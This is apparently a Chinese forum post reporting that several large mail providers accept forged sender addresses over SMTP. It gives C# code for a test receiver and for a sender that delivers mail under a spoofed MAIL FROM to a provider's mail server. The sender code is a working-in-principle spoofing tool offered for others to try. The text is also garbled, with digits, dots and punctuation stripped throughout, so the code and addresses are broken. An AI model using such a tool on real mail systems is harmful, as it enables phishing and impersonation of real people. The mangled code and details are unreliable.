这几天学习了下邮箱服务器及邮件协议发现了不少问题于是就测试了一下各个大型邮箱服务商的服务器(这个问题应该之前也有人发现的可能我没找到把)
经过测试发现了一个非常严重的问题(至少我觉得已经非常严重了)就是可以完全伪造任何人的邮箱地址发送邮件比如 发送给除邮箱的大多数邮箱
我测试了QQ网易新浪三家的邮箱服务器都没有做任何的验证(腾讯的稍微好点)
我先说说这个漏洞存在哪里首先邮箱服务器之间的通信比如下面这个
A 发送服务器 B接收服务器
A:链接B
B: Welcome to Happy you and me SMTP Server
A:HELO
B: ok
A:MAIL FROM:<>
B: ok
A:RCPT TO:<hap>
B: ok
A:DATA
B: Start mail input; end with <CRLF><CRLF>
A:DATA数据
B: OK
之后就是退出命令
按常理我们应该在A发HELO 的时候去获取A的服务器信息然后验证是否于当前链接的IP地址符合但我测试的这三家都没有做任何的验证也就导致了MAIL FROM 的邮箱可以任意指定
其实我认为当初设计这个协议的时候作者的想法是互相表明了身份后双方都应该验证对方身份是否合法的但可惜的是以上三家服务商并没有验证(的邮箱服务器好像不是自己的)
我文采不好也就不多说了希望各大服务商能尽快修复这个问题带给我们用户一点安全感吧现在我都不敢相信邮箱内容了打电话确认了之后才放心
如果小弟有啥不对的地方请各位多多指正小弟不甚感激
最后付上我测试的邮箱接收和发送的代码各位大哥大姐也可以去测下(但测试测试就好了 别做坏事哦)
接受端
class Program
{
static void Main(string[] args)
{ var listener = new TcpListener(IPAddressAny )
listenerStart()
while (true) { ConsoleWriteLine(服务已启动)
var socket = listenerAcceptSocket()
ResolveSocket(socket)
}
}
static void ResolveSocket(Socket socket)
{ ConsoleWriteLine(收到消息{} socketRemoteEndPoint)//收到链接
socketSend(SystemTextEncodingASCIIGetBytes( Welcome to Happy you and me SMTP Server/r/n))//服务器准备完成并发送欢迎语句
byte[] bytes = new byte[]; var count = socketReceive(bytes)//接收
var sendServer = SystemTextEncodingASCIIGetString(bytes)
ConsoleWriteLine(sendServer)
ConsoleWriteLine(发件箱服务器{} sendServerSplit( )[])//获取发送服务器地址
socketSend(SystemTextEncodingASCIIGetBytes( /r/n))//发生确认信息
bytes = new byte[]; count = socketReceive(bytes)
sendServer = SystemTextEncodingASCIIGetString(bytes)
//获取到发送邮件的主人地址 ConsoleWriteLine(sendServer)
ConsoleWriteLine(发件人地址 {} SystemTextRegularExpressionsRegexMatch(sendServer @/<([/s/S]+)/>)Groups[])//获取发件人地址
socketSend(SystemTextEncodingASCIIGetBytes( OK/r/n))//告诉对方服务器可以接收发件人发来的邮件
bytes = new byte[]; count = socketReceive(bytes)
sendServer = SystemTextEncodingASCIIGetString(bytes)// OK ConsoleWriteLine(sendServer)
while (sendServerStartsWith(rcpt StringComparisonOrdinalIgnoreCase))//循环获取接收此邮件人的信息
{ ConsoleWriteLine(收件人地址 {} SystemTextRegularExpressionsRegexMatch(sendServer @/<([/s/S]+)/>)Groups[])//获取收件人地址
socketSend(SystemTextEncodingASCIIGetBytes( OK/r/n))//告诉对方服务器接收人可以接收发件人发来的邮件
bytes = new byte[]; count = socketReceive(bytes) sendServer = SystemTextEncodingASCIIGetString(bytes)// OK ConsoleWriteLine(sendServer) }
if (sendServerStartsWith(data StringComparisonOrdinalIgnoreCase))//正式数据
{ socketSend(SystemTextEncodingASCIIGetBytes( Start mail input; end with <CRLF><CRLF>/r/n))//告诉对方可以开始写入邮件内容了 bytes = new byte[]; while ((count = socketReceive(bytes)) == )
{sendServer += SystemTextEncodingASCIIGetString(bytes)
} sendServer += SystemTextEncodingASCIIGetString(bytes)
socketSend(SystemTextEncodingASCIIGetBytes( OK/r/n))//告诉对方我接收完成了
bytes = new byte[]; socketReceive(bytes)
sendServer += SystemTextEncodingASCIIGetString(bytes)
ConsoleWriteLine(sendServerTrim()) SystemIOFileWriteAllText(d://txt sendServer)
} socketSend(SystemTextEncodingASCIIGetBytes( Goodbye/r/n))//结束此次对话
socketClose()
socketDispose()
}
}
发送端
class Program
{
static void Main(string[] args)
{ // //qq邮箱 更多服务器nslookup qt=mx //// 邮箱 更多服务器nslookup qt=mx //freemcn SystemNetSocketsTcpClient client = new SystemNetSocketsTcpClient(freemcn )//连接接收此邮件的服务器 byte[] bytes = new byte[]; var count = clientClientReceive(bytes)//接收服务器返回的状态信息 var sendServer = SystemTextEncodingASCIIGetString(bytes)//应该返回
ConsoleWriteLine(sendServer) clientClientSend(SystemTextEncodingASCIIGetBytes(HELO /r/n))//发送HELO信息 bytes = new byte[]; count = clientClientReceive(bytes)//接收服务器返回的状态信息 sendServer = SystemTextEncodingASCIIGetString(bytes)//应该返回
ConsoleWriteLine(sendServer) clientClientSend(SystemTextEncodingASCIIGetBytes(MAIL FROM:</r/n>>/r/n))//通知服务器邮件的发送者
bytes = new byte[];
count = clientClientReceive(bytes)//接收服务器返回的状态信息
sendServer = SystemTextEncodingASCIIGetString(bytes)//返回 则可以继续否则不能继续了
ConsoleWriteLine(sendServer)
clientClientSend(SystemTextEncodingASCIIGetBytes(RCPT TO:</r/n>>/r/n))//通知服务器接收邮件的邮箱地址 多个可循环此步骤但要接收了返回信息在发
bytes = new byte[];
count = clientClientReceive(bytes)//接收服务器返回的状态信息
sendServer = SystemTextEncodingASCIIGetString(bytes)//返回 则可以继续否则不能继续了
ConsoleWriteLine(sendServer)
clientClientSend(SystemTextEncodingASCIIGetBytes(DATA/r/n))//通知服务器要发生邮件内容了
bytes = new byte[];
count = clientClientReceive(bytes)//接收服务器返回的状态信息
sendServer = SystemTextEncodingASCIIGetString(bytes)//返回 则可以继续否则不能继续了
ConsoleWriteLine(sendServer)
string data = @From:<To>>To: <ContentType>>ContentType: text/plain; charset=UTFContentTransferEncoding: BaseLiNaWoSPoCdyMou/LgYKuxY+RLqGLiqYKuLuLeOAgivvIE==_Part__;
clientClientSend(SystemTextEncodingASCIIGetBytes(data))//邮件内容内容是Base编码的 不好意思拿你邮箱发了个邮件!
ConsoleWriteLine(数据发送完成) bytes = new byte[]; count = clientClientReceive(bytes)//接收服务器返回的状态信息
sendServer = SystemTextEncodingASCIIGetString(bytes)
ConsoleWriteLine(sendServer)//返回 则成功了 则失败发送给qq的邮箱失败率很高不知道为什么也是失败但不知道什么东西
ConsoleRead()
}
}